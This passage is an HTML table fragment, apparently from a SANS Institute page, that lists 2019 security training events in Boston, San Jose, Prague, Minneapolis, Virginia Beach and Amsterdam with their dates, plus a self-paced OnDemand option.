<td>Live Event</td>
</tr>
<tr>
<td>SANS Boston Summer 2019</td>
<td>Boston, MAUS</td>
<td>Jul 29, 2019 - Aug 03, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS San Jose 2019</td>
<td>San Jose, CAUS</td>
<td>Aug 12, 2019 - Aug 17, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Prague August 2019</td>
<td>Prague, CZ</td>
<td>Aug 12, 2019 - Aug 17, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Minneapolis 2019</td>
<td>Minneapolis, MNUS</td>
<td>Aug 12, 2019 - Aug 17, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Virginia Beach 2019</td>
<td>Virginia Beach, VAUS</td>
<td>Aug 19, 2019 - Aug 30, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS Amsterdam August 2019</td>
<td>Amsterdam, NL</td>
<td>Aug 19, 2019 - Aug 24, 2019</td>
<td>Live Event</td>
</tr>
<tr>
<td>SANS OnDemand</td>
<td>Books &amp; MP3s OnlyUS</td>
<td>Anytime</td>
<td>Self Paced</td>
</tr>
</tbody>
</table>